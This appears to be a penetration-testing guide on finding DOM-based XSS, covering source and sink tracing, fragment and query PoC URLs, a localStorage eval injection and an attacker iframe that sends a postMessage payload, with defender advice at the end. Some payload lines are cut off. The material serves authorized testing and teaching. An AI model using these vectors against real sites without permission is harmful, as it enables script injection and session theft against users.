DOM-based XSS never touches the server: JavaScript reads attacker-controlled
data (the URL fragment, postMessage, localStorage) and writes it into a
dangerous sink (innerHTML, eval, document.write). Server-side scanners
miss it entirely, which makes manual source-to-sink tracing the core skill.
This sub-skill covers mapping DOM XSS on authorized tests: finding sources
and sinks in client-side code, building fragment vectors, and confirming
execution in a real browser.
Quick Workflow
- Collect the page's JavaScript: inline scripts and every linked file.
- Mark sources:
location.hash,location.search,document.referrer,postMessagehandlers,localStorage,sessionStorage. - Mark sinks:
innerHTML,outerHTML,document.write,eval,setTimeoutwith strings,locationassignment, jQuery.html(). - Trace each source to each sink and note any sanitization in between.
- Build a fragment or query vector that reaches the sink.
- Confirm in a real browser with a harmless marker.
- Record the source, the sink, the code path, and the PoC URL.
1. Source and sink mapping
# Download the page and its scripts for offline review
curl -s 'https://target.example/app' -o /tmp/app.html
grep -o 'src="[^"]*\.js"' /tmp/app.html | head -20
# Quick source and sink grep over saved JavaScript
grep -n -E 'location\.(hash|search)|document\.referrer|postMessage|localStorage' /tmp/app.js
grep -n -E 'innerHTML|outerHTML|document\.write|eval\(|setTimeout\(' /tmp/app.js
# Look for the dangerous pattern: source flowing into sink
# Example find:
# var name = location.hash.slice(1);
# document.getElementById('greet').innerHTML = 'Hi ' + name;
In the browser, use DevTools: set a DOM breakpoint on subtree modification of the target element, then load the fragment vector and watch the exact code path that fires.
2. Fragment vectors
The fragment (#...) never reaches the server, so server logs stay clean
and the payload lives only in the victim's browser.
# Sink: element.innerHTML = location.hash.slice(1)
# PoC URL:
# https://target.example/app#<img src=x
# Sink: document.write(location.search)
# PoC URL:
# https://target.example/app?x=<svg
# Sink: eval of a stored value
# localStorage.setItem('theme', "');console.log('dom');//") then reload
python3 - <<'EOF'
# Build the PoC URL safely
import urllib.parse
frag = "<img src=x
print("https://target.example/app#" + urllib.parse.quote(frag))
EOF
Confirm by loading the URL in a test browser and checking for the marker (title change or console message). curl alone can never confirm DOM XSS.
3. postMessage sinks
// Vulnerable pattern to look for:
window.addEventListener('message', function(e) {
document.getElementById('panel').innerHTML = e.data; // no origin check
});
# PoC: an attacker page that messages the target
cat > /tmp/poc.html <<'EOF'
<iframe src="https://target.example/app"></iframe>
<script>
window.onload = () => {
frames[0].postMessage("<img src=x "*");
};
</script>
EOF
echo "Open /tmp/poc.html in a test browser"
Check the origin validation: if (e.origin !== 'https://target.example')
kills this vector, while no check or a substring check keeps it alive. Note
the exact validation in your report either way.
Edge cases
- The sink is reached only after client-side routing. Single-page apps parse the fragment with their own router; test the vector against the routed view, not the landing page.
- A sanitizer sits between source and sink. Identify it (DOMPurify, custom regex) and test its known bypasses one at a time instead of assuming it holds.
- The vulnerable code loads only for certain users or locales. Enumerate script variants by role and pick the one with the weakest handling.
- jQuery or framework sinks behave differently.
$().html()is a sink,$().text()is not; Angular and React auto-escape unless the code usesbypassSecurityTrustHtmlordangerouslySetInnerHTML, which are the real targets.
Escalation
- Static analysis finds no source-to-sink path: drive the page in a real browser with the fragment set and watch DevTools; dynamically injected scripts and event handlers hide from grep.
- The sink needs a specific application state: script the state setup (log in, add an item, navigate) before delivering the fragment, and document the full chain.
- You need impact beyond a marker: with permission, demonstrate reading
document.cookiein the console; do not build exfiltration without written approval. - The finding is in third-party script: verify the script is actually loaded by the target (not a leftover reference) and note the supply chain angle.
Detection and defender view
Defenders rarely see DOM XSS in server logs because the payload never
leaves the browser; discovery usually comes from code review, bug reports,
or client-side monitoring. postMessage vectors may show the attacker's
referrer in logs. Durable defense is safe sink usage (textContent
instead of innerHTML, no eval), strict origin checks on every
message handler, DOMPurify on any HTML that must be injected, and
Content Security Policy as a backstop.
Key references
- CWE-79 (Improper Neutralization of Input During Web Page Generation, Cross-site Scripting).
- OWASP Testing Guide: Testing for DOM-based Cross Site Scripting (OTG-CLIENT-001).
- PortSwigger Web Security Academy: DOM XSS labs and cheat sheet.
- DOMPurify documentation for safe HTML sanitization reference.
